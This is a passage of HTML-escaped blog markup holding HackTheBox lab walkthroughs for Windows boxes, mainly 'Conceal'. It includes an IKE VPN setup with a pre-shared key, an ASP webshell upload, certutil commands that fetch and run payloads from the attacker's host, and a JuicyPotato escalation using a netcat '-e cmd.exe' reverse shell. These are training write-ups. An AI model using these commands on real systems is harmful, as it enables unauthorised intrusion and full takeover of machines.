class="cl"&gt;jar cvf ft.war ft.jsp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just upload it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visit &lt;a class="link" href="http://10.10.10.95:8080/ft6/ft6.jsp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.95:8080/ft/ft.jsp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The reverse shell came back as SYSTEM.&lt;/p&gt;&#10;&lt;p&gt;I found the C:\Users\Administrator\Desktop\flags directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both flags are in there. This box is mainly just for getting familiar with the workflow, I guess.&lt;/p&gt;&#10;&lt;h2 id="5conceal"&gt;&lt;a href="#5conceal" class="header-anchor"&gt;&lt;/a&gt;5.Conceal&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This box is rated hard. A lot of people consider it somewhere above medium, so let&amp;rsquo;s take a look.&lt;/p&gt;&#10;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only UDP ports are open. Keeping UDP scans running really is a good habit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://refabr1k.gitbook.io/oscp/info-gathering/snmp" target="_blank" rel="noopener"&#10; &gt;https://refabr1k.gitbook.io/oscp/info-gathering/snmp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This page covers a few ways to pentest SNMP, but they are all fairly basic enumeration and information-disclosure techniques.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really doesn&amp;rsquo;t look useful.&lt;/p&gt;&#10;&lt;p&gt;I tried a whole bunch of exploits afterward, but none worked. I did notice something odd, though.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;snmpwalk -c public -v1 10.10.10.116&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;One line contains an IKE VPN password. I had never encountered UDP port 500 before, but I was fairly familiar with IKE. When I was learning, I tried all three ways of getting into an internal network: openvpn, IKE, and FRP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had thrown practically every exploit I could find at it, though I might still have missed something. I even found an MS06-074 exploit for SNMP.&lt;/p&gt;&#10;&lt;p&gt;At this point, IKE was the only attack surface left. It felt like the box was telling me to connect with this password.&lt;/p&gt;&#10;&lt;p&gt;For the isakmp service, I found the following blog post:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/network-services-pentesting/ipsec-ike-vpn-pentesting&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explains the service thoroughly and gives plenty of exploitation methods.&lt;/p&gt;&#10;&lt;p&gt;Next, I followed its tutorial step by step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;As you saw in the previous response, there is a field called &lt;strong&gt;AUTH&lt;/strong&gt; whose value is &lt;strong&gt;PSK&lt;/strong&gt;. This means the VPN is configured with a pre-shared key (which is great for penetration testers). &lt;strong&gt;The value on the final line is also very important:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;em&gt;&lt;strong&gt;1 returned handshake; 0 returned notify:&lt;/strong&gt;&lt;/em&gt; This means &lt;strong&gt;the target is configured for IPsec and is willing to negotiate IKE, and one or more of the transforms you proposed are acceptable&lt;/strong&gt; (the valid transform will be shown in the output).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I may not have found the vendor.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;while read line; do (echo &amp;ldquo;Found ID: $line&amp;rdquo; &amp;amp;&amp;amp; ike-scan -M -A -n $line 10.10.10.116) | grep -B14 &amp;ldquo;1 returned handshake&amp;rdquo; | grep &amp;ldquo;Found ID:&amp;rdquo;; done &amp;lt; /usr/share/wordlists/SecLists-master/Miscellaneous/ike-groupid.txt&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;This step searches for the group ID.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t find the group name. Maybe the wordlist wasn&amp;rsquo;t strong enough. The whole time, I kept searching for a way to connect to the IKE VPN, but no blog gave me an answer. The only useful one was the post above. It told me I needed a group ID and PSK. I already had the PSK, but its process was to enter the group name and PSK, then brute-force with username and password wordlists. Only after obtaining the group name, username, password, and PSK could I connect. That was far too much trouble, and it didn&amp;rsquo;t seem realistic—especially when I couldn&amp;rsquo;t even brute-force the group name.&lt;/p&gt;&#10;&lt;p&gt;I looked at the next step in a write-up here and realized I hadn&amp;rsquo;t done anything wrong. Having the PSK was actually enough to connect; I just hadn&amp;rsquo;t found the right tool or method. I didn&amp;rsquo;t look at what tool the write-up used, even though I had just spent ages searching for connection methods and found nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At least I could confirm I was on the right track.&lt;/p&gt;&#10;&lt;p&gt;Eventually, I found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally found a tutorial after consulting a huge number of blog posts. This configuration file was doing my head in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going back to the earlier output, I found that its algorithm was 3DES. This blog showed me how 3DES should be configured.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/issues/2666" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/issues/2666&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got two important settings from it. Of course, the other settings still had to be worked out one by one.&lt;/p&gt;&#10;&lt;p&gt;Next, I tried connecting. If it worked, I wouldn&amp;rsquo;t need to inspect the remaining settings.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still failed and just kept trying to connect.&lt;/p&gt;&#10;&lt;p&gt;So I went through the settings one at a time. The version might be wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A quick Google search turned up the parameter.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Changing it to 1 fixed that.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now to test whether it could connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still an error. I continued checking the other parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/projects/strongswan/wiki/connsection" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/projects/strongswan/wiki/connsection&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog documents all the parameters, and I found a crucial detail there. I had never set this option, which was why I couldn&amp;rsquo;t connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;left|rightsubnet lets you select the protocol. The default is TCP/UDP, which prevented me from connecting because its UDP ports were already exposed. That was the logic here: to connect, I had to use TCP only. With that, the configuration was complete and I could finally connect.&lt;/p&gt;&#10;&lt;p&gt;Here is the full process:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;apt-get install strongswan libcharon-extra-plugins&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Edit the following configuration file:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;vim /etc/ipsec.secrets&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This file holds shared secrets or RSA private keys for authentication.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# RSA private key for this host, authenticating it to any other host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# which knows the public part.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;: PSK &amp;#34;Dudecake1!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;vim /etc/ipsec.conf&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ipsec.conf - strongSwan IPsec configuration file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# basic configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;config setup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; charondebug=&amp;#34;all&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; uniqueids=yes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; strictcrlpolicy=no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;conn test&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; authby=secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; auto=add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ike=3des-sha1-modp1024!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esp=3des-sha1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; type=transport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keyexchange=ikev1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; left=10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; right=10.10.10.116&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rightsubnet=10.10.10.116[tcp]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ipsec restart&lt;/p&gt;&#10;&lt;p&gt;ipsec status&lt;/p&gt;&#10;&lt;p&gt;ipsec up test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That did it. Of all the blog posts I referenced for this part, the useful ones were roughly these:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/" target="_blank" rel="noopener"&#10; &gt;https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only" target="_blank" rel="noopener"&#10; &gt;https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/" target="_blank" rel="noopener"&#10; &gt;https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE" target="_blank" rel="noopener"&#10; &gt;https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/projects/strongswan/wiki/connsection" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/projects/strongswan/wiki/connsection&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/issues/2666" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/issues/2666&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.imkasen.com/strongswan-config/" target="_blank" rel="noopener"&#10; &gt;https://blog.imkasen.com/strongswan-config/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I was finally in and could scan TCP. I had found a few ports earlier, but it was worth scanning again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The results came back, but the scan had to be TCP because we had only connected over TCP.&lt;/p&gt;&#10;&lt;p&gt;There was nothing available through anonymous ftp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 80 revealed an upload directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect to the smb service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were matching upload directories on ftp and http. Obviously, ftp was serving the http directory, though I still needed to verify it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, after I uploaded 1.txt over ftp, it appeared under upload. Now I needed to find out what the backend used. It was usually asp or aspx, if I remembered correctly, so I tried them one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;aspx failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;asp failed too.&lt;/p&gt;&#10;&lt;p&gt;Switching to a different asp shell worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tennc/webshell/blob/master/asp/webshell.asp" target="_blank" rel="noopener"&#10; &gt;https://github.com/tennc/webshell/blob/master/asp/webshell.asp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was strange that the asp backdoor from msfvenom failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate the backdoor.&lt;/p&gt;&#10;&lt;p&gt;Put the command together:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;certutil -urlcache -split -f &lt;a class="link" href="http://10.10.16.3:33333/Conceal/shell.exe" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.3:33333/Conceal/shell.exe&lt;/a&gt; \Users\Destitute\1.exe &amp;amp;&amp;amp; start \Users\Destitute\1.exe&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The reverse connection succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell.&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges. Unfortunately, I didn&amp;rsquo;t know Windows privilege escalation particularly well at the time. I had only learned the systeminfo approach.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried everything I could.&lt;/p&gt;&#10;&lt;p&gt;After trying quite a few privilege-escalation methods, Rotten Potato seemed like a good fit for this box.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;whoami /priv&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;This is one of the standard privilege-escalation approaches. I couldn&amp;rsquo;t learn only by working through boxes; I still needed to spend more time studying Windows privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was pretty straightforward to use.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it kept failing and I couldn&amp;rsquo;t get it to work. Time to switch to JuicyPotato.&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/ohpe/juicy-potato/releases/tag/v0.1" target="_blank" rel="noopener"&#10; &gt;https://github.com/ohpe/juicy-potato/releases/tag/v0.1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;nc: &lt;a class="link" href="https://eternallybored.org/misc/netcat/" target="_blank" rel="noopener"&#10; &gt;https://eternallybored.org/misc/netcat/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Upload everything to the target machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next, prepare the other files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a reverse-shell batch file; replace nc64 with its absolute path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 &amp;gt; shell.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ohpe/juicy-potato/tree/master/CLSID Find the matching CLSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list I used the last entry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For -l, use any unused port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\jp.exe -t t -p .\shell.bat -l 1118 -c &amp;#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 5555&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;I learned a lot from this box. The hardest part, in my opinion, was configuring ipsec. It took ages and was a real pain.&lt;/p&gt;&#10;&lt;p&gt;The other big lesson was Rotten Potato. I hadn&amp;rsquo;t had much exposure to standard Windows privilege escalation, but now this technique was burned into my memory.&lt;/p&gt;&#10;&lt;h2 id="6chatterbox"&gt;&lt;a href="#6chatterbox" class="header-anchor"&gt;&lt;/a&gt;6.Chatterbox&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0073.zh.webp" alt="" 